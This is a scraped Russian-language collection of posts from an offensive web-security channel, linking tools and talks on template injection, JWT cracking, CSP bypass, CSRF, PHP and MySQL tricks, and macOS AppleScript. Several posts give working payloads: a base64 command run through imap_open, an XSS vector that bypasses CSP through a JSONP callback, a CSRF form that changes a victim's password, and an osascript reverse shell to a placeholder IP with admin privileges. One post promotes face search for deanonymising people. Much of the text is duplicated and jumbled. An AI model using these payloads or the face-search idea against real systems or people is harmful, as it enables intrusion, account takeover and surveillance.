Годный доклад на OWASP AppSecEU 2018, от Frans Rosén'а
https://speakerdeck.com/fransrosen/owasp-appseceu-2018-attacking-modern-web-technologies?slide=15
https://speakerdeck.com/fransrosen/owasp-appseceu-2018-attacking-modern-web-technologies?slide=15
Speaker Deck
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
In this talk, top ranked white-hat hacker Frans Rosén (@fransrosen) will focus on methodologies and results of attacking modern web technologies. He wil…
При внедрении собственных шаблонов в серверные шаблонизаторы (уязвимость SSTI) — эксплуатацию можно автоматизировать с помощью утилиты tplmap. Она и шаблонизатор подберет, и удобный шелл откроет для выполнения произвольного кода. Еще и плагин к Burp Suite имеет.
https://github.com/epinna/tplmap
https://github.com/epinna/tplmap
GitHub
GitHub - epinna/tplmap: Server-Side Template Injection and Code Injection Detection and Exploitation Tool
Server-Side Template Injection and Code Injection Detection and Exploitation Tool - epinna/tplmap
Если ты встречал странный base64 в параметрах веб-приложений, разбитый двумя точками - скорее всего это JSON Web Tokens.
Он состоит из заголовка, содержимого и подписи, считается одним из безопасных способов передачи информации, поддерживает различные алгоритмы подписи и вот это все. Правда не все реализации безопасны, то тип шифрования можно сменить на "None", то один алгоритм можно сменить на другой, где ключ заранее известен, а то и вовсе секретом будет являться какой-нибудь ChangeMe, где его, конечно же, не сменили. Но мир не без добрых людей, проверить корректность той или иной реализации и заодно перебрать секрет по словарю можно используя JWT Tool.
https://github.com/ticarpi/jwt_tool
#JWT
Он состоит из заголовка, содержимого и подписи, считается одним из безопасных способов передачи информации, поддерживает различные алгоритмы подписи и вот это все. Правда не все реализации безопасны, то тип шифрования можно сменить на "None", то один алгоритм можно сменить на другой, где ключ заранее известен, а то и вовсе секретом будет являться какой-нибудь ChangeMe, где его, конечно же, не сменили. Но мир не без добрых людей, проверить корректность той или иной реализации и заодно перебрать секрет по словарю можно используя JWT Tool.
https://github.com/ticarpi/jwt_tool
#JWT
Если у страницы не будет указан Content-Type (передаю привет старику HTTP/0.9) - браузер попытается сам определить содержимое. Тоже самое, если тип контента браузеру не будет знаком. Internet Explorer 8 (спи спокойно Windows XP), например, не признает application/json, поэтому HTML попавший в него также срендерится и XSS выполнится. В жизни этот браузер уже не встретить, но часто в BugBounty это принимают.
Для Chrome сниффинг HTML заработает, если первыми символами будет валидный HTML-тег. Например
Заголовок X-Content-Type-Options: nosniff в свою очередь отключает у браузера функциональность определения содержимого.
Для Chrome сниффинг HTML заработает, если первыми символами будет валидный HTML-тег. Например
{"xss":"<script>alert()</script>"}
— уже не пройдет.Заголовок X-Content-Type-Options: nosniff в свою очередь отключает у браузера функциональность определения содержимого.
Кавычка
Если у страницы не будет указан Content-Type (передаю привет старику HTTP/0.9) - браузер попытается сам определить содержимое. Тоже самое, если тип контента браузеру не будет знаком. Internet Explorer 8 (спи спокойно Windows XP), например, не признает application/json…
Отдельно про text/plain. Сниффинг содержимого text/plain замечен также у IE 8 если у файла не будет расширения. А с помощью ловкости рук можно заставить выполнить там XSS даже на более свежих версиях, если на ресурсе не запрещена загрузка в фрейме.
https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/
https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/
В современных браузерах мы можем отправить кросс-ориджин POST запрос без заголовка Content-Type. Это может быть полезно, если сайт для защиты от CSRF чекает Content-Type, но пропускает проверку, если этот заголовок отсутствует.
Всё что нужно - создать Blob без указанания CT и отправить его используя fetch или sendBeacon.
Поиграться можно тут https://xxx.dbggl.pw/send_no_ct.html
Всё что нужно - создать Blob без указанания CT и отправить его используя fetch или sendBeacon.
Поиграться можно тут https://xxx.dbggl.pw/send_no_ct.html
Не все йогурты одинаково полезны!
В некоторых случаях, такой символ как 💩 — может отрезать часть строки в MySQL (тот случай, когда какое-то говно — альтернатива нульбайту).
Причем выстрелить это может разными способами, например, как для обхода валидации строки а-ля
Еще и как выполнение произвольного кода через какое-то говно. Жуть!
В некоторых случаях, такой символ как 💩 — может отрезать часть строки в MySQL (тот случай, когда какое-то говно — альтернатива нульбайту).
Причем выстрелить это может разными способами, например, как для обхода валидации строки а-ля
https://evil.domain💩.whitelist.domain
, так и при эксплуатации XSS (в нем U+1D306, но суть та же).Еще и как выполнение произвольного кода через какое-то говно. Жуть!
Кавычка
В PHP-приложениях есть куча разных уязвимостей, техник эксплуатации и атак. Тему активно ковыряют лет 10 и вроде бы всё уже расковыряли, и постепенно многие техники сходят на нет. Но всё равно находятся неожиданные вещи в очевидных местах. Например, на HITCON…
Генератор "полезной" картинки для эксплоита бага на примере Wordpress + WooCommerce
https://rdot.org/forum/showpost.php?p=44060&postcount=66
https://rdot.org/forum/showpost.php?p=44060&postcount=66
Кто подавал данные на заведение CVE через https://iwantacve.org могут с удивлением обнаружить, что заявки помещаются в открытый Google Docs (несмотря на то, что там об этом написано). Причем можно посмотреть как на утвержденные уязвимости (прошедшие модерацию, им присвоили номер), так и на новые заявки.
Забавно получается, CVE еще нет (может и патча), а информация об уязвимости уже доступна ¯\_(ツ)_/¯
Забавно получается, CVE еще нет (может и патча), а информация об уязвимости уже доступна ¯\_(ツ)_/¯
Wikipedia
Common Vulnerabilities and Exposures
CVE (англ. Common Vulnerabilities and Exposures) — база данных общеизвестных уязвимостей информационной безопасности. Каждой уязвимости присваивается идентификационный номер вида CVE-год-номер, описание и ряд общедоступных ссылок с описанием.
Быстрый поиск по эксплойтам и полезным программам. Enjoy!
https://sploitus.com
https://sploitus.com
Sploitus
💀 Sploitus | Exploits & Tools Search Engine
Sploitus is a convenient central place for identifying the newest exploits and finding attacks that exploit known vulnerabilities. The search engine is also a good resource for finding security and vulnerability discovery tools.
В Nginx (и не в nginx) есть аналог .htaccess (пользовательские настройки веб-сервера) и имя ему — .user.ini
Конечно, такой функциональности как у Apache у него нет, однако некоторые финты им делать можно.
Конечно, такой функциональности как у Apache у него нет, однако некоторые финты им делать можно.
Дружно передаем привет чуваку с ником crlf, который заресерчил багу и выложил таск по выполнению кода с обходом disable_functions в PHP, используя функцию imap_open (и некоторые особенности в Debian/Ubuntu).
На секундочку, это 0day!
Эксплойт с выполнением команды
Чуть ниже есть презентация Twoster'а с конференции KazHackStan, ему тоже передаем привет!
На секундочку, это 0day!
Эксплойт с выполнением команды
echo '1234567890'>/tmp/test0001
:<?phpОбязательно читаем подробности тут.
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
Чуть ниже есть презентация Twoster'а с конференции KazHackStan, ему тоже передаем привет!
Кавычка
Слайды с Web VIllage #ZeroNights 2018 https://2018.zeronights.ru/en/materials/
Bo0oM - I <"3 XSS
H D, Pavel Rukavishnikov - Blind XSS
Ivan Chalykin - Key methods of CSP bypassing
Sergey "BlackFan" Bobrov - BugBounty Automation
Andrey "L1kvID" Kovalev - Introduction into browser hacking
Alexey "SooLFaa" Morozov - Misconfiguration in development infrastructure
Alexey "GreenDog" Tiurin - (A)typical vulnerabilities
Omar "Beched" Ganiev - PHP insecurity stack
Pavel "Paul_Axe" Toporkov - PHP unserialize
Alexandr "Webr0ck" Romanov - Spel injection
Egor "ShikariSenpai" Karbutov & Sergey "BeLove" Belov - Defense. Change my mind!
H D, Pavel Rukavishnikov - Blind XSS
Ivan Chalykin - Key methods of CSP bypassing
Sergey "BlackFan" Bobrov - BugBounty Automation
Andrey "L1kvID" Kovalev - Introduction into browser hacking
Alexey "SooLFaa" Morozov - Misconfiguration in development infrastructure
Alexey "GreenDog" Tiurin - (A)typical vulnerabilities
Omar "Beched" Ganiev - PHP insecurity stack
Pavel "Paul_Axe" Toporkov - PHP unserialize
Alexandr "Webr0ck" Romanov - Spel injection
Egor "ShikariSenpai" Karbutov & Sergey "BeLove" Belov - Defense. Change my mind!
Некоторые заголовки могут работать как HTML теги (и наоборот)
Например, тег
Заголовок
Например, тег
<meta http-equiv="Content-Security-Policy" content="default-src https://hello; child-src 'none'; object-src 'none'">
включит соотвествующий CSP, как если бы он был в заголовках.Заголовок
Refresh: 3;URL=https://hello/
покажет содержимое страницы на три секунды, а потом перенаправит пользователя, как если бы на странице был тег<meta http-equiv="refresh" content="3;https://hello/">
ЗаголовокLink: <https://hello/>;rel=stylesheet
попытается подгрузить и применить на страницу CSS, как если на странице был тег<link rel="stylesheet" href="https://hello/">правда, только для Firefox🦊
Недавно на ZN:Web Village обсуждались способы обхода Content-Security-Policy, в том числе через использование JSONP колбэков из списка довереных доменов.
И тут в твитторе встретилась неплохая подборка таких коллбеков для самых разных сервисов!
https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt
Разберем на примере. Вот встретили вы такую политику:
А вот и сама презентация https://clck.ru/EsdWb
Любопытно, что во многих случаях сервис всячески ругается ("Only alphabet or number allowed in JSONP "), но это не мешает работе байпаса.
И тут в твитторе встретилась неплохая подборка таких коллбеков для самых разных сервисов!
https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt
Разберем на примере. Вот встретили вы такую политику:
Content-Security-Policy: default-src none; script-src 'unsafe-inline' 'nonce-rhg4nkW7bVP4DzlAfkMrdg==' *.yandex.netА для Яндекса как раз есть пара примерчиков. Итого, наш мега-вектор принимает вид:
"><script src="https://translate.yandex.net/api/v1.5/tr.json/detect?callback=alert(1337)"></script>PWNED!
А вот и сама презентация https://clck.ru/EsdWb
Любопытно, что во многих случаях сервис всячески ругается ("Only alphabet or number allowed in JSONP "), но это не мешает работе байпаса.
GitHub
JSONBee/jsonp.txt at master · zigoo0/JSONBee
A ready to use JSONP endpoints/payloads to help bypass content security policy (CSP) of different websites. - zigoo0/JSONBee
AppleScript — мощный инструмент.
Нужен root shell?
Сценарии AppleScript можно писать на диалекте JS - JXA. Например, Apfell целиком написан на JXA.
При помощи AppleScript можно стучаться в ObjC и получать доступ к любому API.
AppleScript - язык автоматизации и работы с IPC. Chrome/Safari и другие програмы имеют готовый интерфейс для интеграции с AppleScript и Automator.
Сам язык похож на Visual Basic и документации по нему мало. К счастью, нам хватит
Нужен root shell?
osascript -e "do shell script \"bash -i >& /dev/tcp/%ip%/%port% 0>&1 \" with administrator privileges"
Нужен контроль над другим приложением?osascript -e 'tell app "Chrome" to display dialog "Hello World"'
(В Mojave нужно дать доступ через меню «Accessibility»)Сценарии AppleScript можно писать на диалекте JS - JXA. Например, Apfell целиком написан на JXA.
При помощи AppleScript можно стучаться в ObjC и получать доступ к любому API.
AppleScript - язык автоматизации и работы с IPC. Chrome/Safari и другие програмы имеют готовый интерфейс для интеграции с AppleScript и Automator.
Сам язык похож на Visual Basic и документации по нему мало. К счастью, нам хватит
do shell script
GitHub
GitHub - its-a-feature/Mythic: A collaborative, multi-platform, red teaming framework
A collaborative, multi-platform, red teaming framework - its-a-feature/Mythic
Ruby забавно парсит JSON стандартным модулем. В него можно писать комментарии!
Например, если серверная часть не проверяет Content-type запроса на application/json, можно сформировать сценарий для CSRF.
Например, если серверная часть не проверяет Content-type запроса на application/json, можно сформировать сценарий для CSRF.
<body onload="document.forms[0].submit();">
<form action="https://visim" method="POST" enctype="text/plain">
<input type="hidden" name='{"action":"changepassword","password":"PwnMePls!1!!"}//' value="">
</form>
</body>
Хороший материал по захвату доменов (поддоменов), когда о них забывают:
https://github.com/EdOverflow/can-i-take-over-xyz
https://github.com/EdOverflow/can-i-take-over-xyz
GitHub
GitHub - EdOverflow/can-i-take-over-xyz: "Can I take over XYZ?" — a list of services and how to claim (sub)domains with dangling…
"Can I take over XYZ?" — a list of services and how to claim (sub)domains with dangling DNS records. - EdOverflow/can-i-take-over-xyz
В 2017 году на Defcon Russia я предлагал использовать Google Glass интегрируя в него сервис Findface.
Только вот Findface уже закрыли, но на смену ему приходит минималистичный searchface.ru. Несмотря на то, что подобных сервисов уже много, этот абсолютно бесплатный (даже без регистрации).
Только вот Findface уже закрыли, но на смену ему приходит минималистичный searchface.ru. Несмотря на то, что подобных сервисов уже много, этот абсолютно бесплатный (даже без регистрации).
FindTwin face search demo
в title говорит о том, что это демка, но поиск по закрытым профилям вконтактике — уже приятно.Speaker Deck
Defcon Russia | Bo0om vs Шурыгина
Деанонимируем с помощью Google Glass